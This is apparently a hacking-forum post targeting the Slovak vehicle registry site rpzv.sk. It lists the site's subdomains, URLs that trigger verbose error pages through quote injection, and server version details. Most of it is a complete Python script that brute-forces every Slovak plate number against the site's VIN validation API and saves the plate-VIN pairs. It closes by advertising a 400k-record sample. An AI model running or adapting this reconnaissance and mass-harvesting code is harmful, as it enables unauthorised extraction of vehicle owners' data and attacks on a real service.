• XSS.stack #1 – первый литературный журнал от юзеров форума

TXT RPZV.SK | PLATE - VIN

nightly

root@usss-int:~#
Premium
Регистрация
03.10.2019
Сообщения
376
Реакции
413
Код:
Target: https://rpzv.sk

Sub-domains:
comune.rpzv.sk
mailrelay.rpzv.sk
barracuda.rpzv.sk
out.rpzv.sk
email.rpzv.sk
test.rpzv.sk
mail.rpzv.sk
remote.rpzv.sk
mx3.rpzv.sk
smtpauth.rpzv.sk
www.rpzv.sk
autodiscover.rpzv.sk


Full error display:
https://rpzv.sk/novinky/clanok?id='
https://rpzv.sk/prispievatelia/prispievatel?id='


Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.8.4494.0


https://rpzv.sk/acquisitions/encrypt-url-param
{
    "__RequestVerificationToken": "...",
    "text": "must have 17 words"
}

Python:
import asyncio
from string import ascii_uppercase
from time import strftime

from aiofiles import open as aopen
from aiohttp import ClientSession, ClientTimeout


class VINParser:
    def __init__(self, threads: int = 8) -> None:
        self.pool = []
        self.threads = threads
        self.gen = self.generate_plate()

        self.__gen_locked = False
        self.__pool_locked = False
        self.__url = 'https://rpzv.sk/api/data/validateVINorECV'
        self.__regions = (
            'BA', 'BD', 'BE', 'BI', 'BL', 'BT', 'BB', 'BC', 'BK', 'BJ', 'BN',
            'BR', 'BS', 'BY', 'CA', 'DK', 'DS', 'DT', 'GA', 'GL', 'HC', 'HE',
            'IL', 'KA', 'KE', 'KC', 'KI', 'KK', 'KM', 'KN', 'KS', 'LC', 'LE',
            'LM', 'LV', 'LL', 'MA', 'MI', 'ML', 'MT', 'MY', 'NR', 'NI', 'NT',
            'NM', 'NO', 'NZ', 'NC', 'PB', 'PD', 'PE', 'PK', 'PN', 'PO', 'PV',
            'PS', 'PP', 'PT', 'PU', 'RA', 'RK', 'RS', 'RV', 'SA', 'SB', 'SC',
            'SE', 'SI', 'SK', 'SL', 'SN', 'SO', 'SP', 'SV', 'TT', 'TA', 'TB',
            'TN', 'TC', 'TE', 'TO', 'TR', 'TS', 'TV', 'VK', 'VT', 'ZA', 'ZI',
            'ZL', 'ZC', 'ZH', 'ZM', 'ZV'
        )

    async def save_result(self) -> None:
        async with aopen('plates.txt', 'a', encoding='utf-8') as saver:
            for item in self.pool:
                await saver.write(item)

        print(f"[{strftime('%m/%d/%Y %H:%M:%S')}] 100 Saved")
        self.pool.clear()

    async def back_plate(self) -> str:
        data = ''

        while True:
            if self.__gen_locked:
                await asyncio.sleep(0.1)
            else:
                self.__gen_locked = True
                try:
                    data = next(self.gen)
                except Exception:
                    data = ''
                finally:
                    self.__gen_locked = False
                    break

        return data

    def generate_plate(self, restore: str = '') -> str:
        skip = True if restore else False

        for region in self.__regions:
            for num in range(1, 999):
                for f_let in ascii_uppercase:
                    for s_let in ascii_uppercase:
                        plate = f'{region}{"0"*(3-len(str(num)))}{num}{f_let}{s_let}'

                        if skip:
                            if plate == restore:
                                skip = False
                            continue

                        yield plate

    async def worker(self) -> None:
        plate = await self.back_plate()

        while plate:
            while self.__pool_locked:
                await asyncio.sleep(0.1)

            async with ClientSession(timeout=ClientTimeout(10)) as ses:
                try:
                    async with ses.post(self.__url, data={'vin_ecv': plate}) as resp:
                        vin: str = (await resp.json()).get('vin', None)
                except Exception:
                    continue
                finally:
                    await ses.close()

            if vin:
                if len(self.pool) > 100 and not self.__pool_locked:
                    self.__pool_locked = True
                    await self.save_result()
                    self.__pool_locked = False

                self.pool.append(f'{plate} - {vin}\n')

            plate = await self.back_plate()

    async def main(self) -> None:
        tasks = []

        for i in range(self.threads):
            tasks.append(asyncio.ensure_future(self.worker()))

        await asyncio.gather(*tasks)


if __name__ == "__main__":
    asyncio.run(VINParser(50).main())


Sample 400k:
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх